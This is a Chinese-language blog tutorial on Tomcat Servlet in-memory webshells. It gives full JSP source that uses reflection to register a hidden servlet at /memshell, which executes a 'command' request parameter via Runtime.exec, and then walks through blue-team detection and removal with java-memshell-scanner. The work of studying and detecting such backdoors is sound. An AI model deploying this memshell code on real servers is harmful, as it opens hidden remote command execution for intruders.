Java安全之Servlet内存马的利用以及排查
前言:原理说起来太多了,不懂的可以先去学一下原理,本文主要做一个扫盲级别的利用,以及以蓝队的视角对这类木马排查的大致流程。
Start
环境搭建
idea 2023.1.2
tomcat 8.5.100
冰蝎v4.1
tomcat-memshell-scanner
包含文件上传的servlet项目

留意,需要加上此依赖
打成war,并且更改名字为ROOT.war来部署到tomcat中

访问

简单的上传测试成功


内存马利用
源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <%@ page import="java.io.IOException" %> <%@ page import="java.io.PrintWriter" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="org.apache.catalina.Wrapper" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>Title</title> </head> <body> <%! public class MemServlet extends HttpServlet { private String message;
public void init() { message = "Hello World!"; }
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { String command = request.getParameter("command"); Runtime.getRuntime().exec(command); }
public void destroy() { } }
%> <% ServletContext servletContext = request.getServletContext(); Field applicationContextField = servletContext.getClass().getDeclaredField("context"); applicationContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
Field standarContextField = applicationContext.getClass().getDeclaredField("context"); standarContextField.setAccessible(true); StandardContext context = (StandardContext) standarContextField.get(applicationContext);
Wrapper wrapper = context.createWrapper(); wrapper.setName("MemServlet"); wrapper.setServletClass(MemServlet.class.getName()); wrapper.setServlet(new MemServlet());
context.addChild(wrapper); context.addServletMappingDecoded("/memshell","MemServlet");
%> </body> </html>
|
上传成功

访问 使其注册

响应空白 本身就没有输出 这里已经成功了
根据内存马中的路径和传参去执行命令验证

成功收到dnslog

命令执行成功,也就意味着getshell,后续任何操作 有命令执行的条件 皆可为
排查
现在,我们以蓝队,或者被攻击者的视角,去排查servlet内存马的问题,我们如何去发现,排查,以及修复。
一、
servlet内存马,必须需要jsp文件的落地,也就是会有新文件的增加,我们只需要着重关注jsp后缀即可

我们看到新增的jsp文件,去把他进行下载,分析代码做了什么来决定后续的操作,是webshell还是内存马?
二、
jsp文件落地后,当内存马注册成功,攻击者会将jsp文件删除,这样,我们就需要在日志或者流量设备中分析请求的路径。首先
访问了一个上传成功的jsp文件

但假设攻击者已经将其删除,这个文件不存在了,但内存马已经注册成功,这个就可以成为分析的要点:访问了成功上传的文件,但是这个文件现在已经不存在

如果这样,就要去分析 攻击者的请求,内存马必然是有一个映射路径的,而这个路径 大都不是存在于项目的源码中

我们就可以从对这个项目的了解,它有哪些映射路径?哪些映射路径何时进行了修改 什么时候又增加了哪些映射路径,根据文件上传命令执行这一系列的时间,综合去分析,比如案例中的源码,就两个映射路径@WebServlet("/upload")
和@WebServlet("/HelloWorld")
,攻击者访问了memeshell居然还是200 ,所以memshell 当然就是内存马的映射路径
三、
使用工具进行排查和分析 以及 修复!
tomcat-memshell-scanner :https://github.com/c0ny1/java-memshell-scanner
上传到任意web目录中即可

它会jvm中运行的类可视化展示,提供对class文件的下载 以及kill
通过这个工具,观察可疑的Serlvet name,映射路径,Serlvet class,Servlet classLoader以及它所处的具体文件
具体去查看 源码中有无这个映射路径,或者磁盘上有无这个class
servlet内存马 需要着重观察JSP Servlet类加载器 JasperLoader,有这个 极大概率为内存马文件
将可疑的class进行下载 反编译看源码。

这里也是我们刚刚的内存马
kill即可

这里的话 内存马也就失效了
重启也可以,但是实际中 重启是最后一招,因为重启对重大业务影响非常的大
这里只是演示简单的 这个流程和思路,后续会持续更新
END